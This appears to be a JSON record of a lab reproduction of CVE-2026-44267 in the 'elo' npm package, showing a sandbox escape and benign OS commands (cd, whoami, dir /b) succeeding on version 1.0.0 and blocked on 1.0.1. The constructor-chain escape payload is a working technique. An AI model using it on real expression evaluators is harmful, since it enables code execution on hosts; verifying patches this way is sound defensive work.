{
  "cve": "CVE-2026-44267",
  "advisory": "https://github.com/enspirit/elo/security/advisories/GHSA-33r5-xmm8-v6x5",
  "timestampUtc": "2026-11-04T15:50:34.828Z",
  "runtime": {
    "node": "v22.16.0",
    "platform": "win32"
  },
  "scope": "Local vulnerable/patched npm packages, fixed benign OS commands, controlled workspace",
  "input": {
    "baseline": "2 + 3",
    "sandboxEscape": "({}).constructor.constructor('return 6 * 7')()",
    "osProofCommands": [
      {
        "label": "cwd",
        "shellCommand": "cd",
        "expectation": "cwd"
      },
      {
        "label": "user",
        "shellCommand": "whoami",
        "expectation": "nonempty"
      },
      {
        "label": "files",
        "shellCommand": "dir /b",
        "expectation": "marker"
      },
      {
        "label": "cd",
        "shellCommand": "cd proof_dir && cd",
        "expectation": "subdir"
      }
    ]
  },
  "tests": [
    {
      "label": "vulnerable",
      "version": "1.0.0",
      "workspace": "<LAB_WORKSPACE>",
      "baseline": {
        "accepted": true,
        "value": 5
      },
      "sandboxEscape": {
        "accepted": true,
        "value": 42
      },
      "osCommands": [
        {
          "label": "cwd",
          "shellCommand": "cd",
          "expectation": "cwd",
          "result": {
            "accepted": true,
            "value": "<LAB_WORKSPACE>",
            "matchesExpectedOutput": true
          }
        },
        {
          "label": "user",
          "shellCommand": "whoami",
          "expectation": "nonempty",
          "result": {
            "accepted": true,
            "value": "<LOCAL_USER>",
            "matchesExpectedOutput": true
          }
        },
        {
          "label": "files",
          "shellCommand": "dir /b",
          "expectation": "marker",
          "result": {
            "accepted": true,
            "value": "lab_marker.txt\r\nproof_dir\r\n",
            "matchesExpectedOutput": true
          }
        },
        {
          "label": "cd",
          "shellCommand": "cd proof_dir && cd",
          "expectation": "subdir",
          "result": {
            "accepted": true,
            "value": "<LAB_WORKSPACE>/proof_dir",
            "matchesExpectedOutput": true
          }
        }
      ]
    },
    {
      "label": "patched",
      "version": "1.0.1",
      "workspace": "<LAB_WORKSPACE>",
      "baseline": {
        "accepted": true,
        "value": 5
      },
      "sandboxEscape": {
        "accepted": false,
        "error": "Error: Member access '.constructor' is forbidden: this name would expose the host runtime and is not a valid Elo property."
      },
      "osCommands": [
        {
          "label": "cwd",
          "shellCommand": "cd",
          "expectation": "cwd",
          "result": {
            "accepted": false,
            "error": "Error: Member access '.constructor' is forbidden: this name would expose the host runtime and is not a valid Elo property."
          }
        },
        {
          "label": "user",
          "shellCommand": "whoami",
          "expectation": "nonempty",
          "result": {
            "accepted": false,
            "error": "Error: Member access '.constructor' is forbidden: this name would expose the host runtime and is not a valid Elo property."
          }
        },
        {
          "label": "files",
          "shellCommand": "dir /b",
          "expectation": "marker",
          "result": {
            "accepted": false,
            "error": "Error: Member access '.constructor' is forbidden: this name would expose the host runtime and is not a valid Elo property."
          }
        },
        {
          "label": "cd",
          "shellCommand": "cd proof_dir && cd",
          "expectation": "subdir",
          "result": {
            "accepted": false,
            "error": "Error: Member access '.constructor' is forbidden: this name would expose the host runtime and is not a valid Elo property."
          }
        }
      ]
    }
  ],
  "verdict": "PASS",
  "assertions": {
    "baselinesPass": true,
    "sandboxEscapeReproduced": true,
    "sandboxEscapeBlockedByPatch": true,
    "osExecutionReproduced": true,
    "osExecutionBlockedByPatch": true
  },
  "privacy": {
    "redacted": true,
    "details": "Host usernames and working-directory paths are redacted in published JSON. PASS/FAIL assertions are computed before redaction."
  }
}
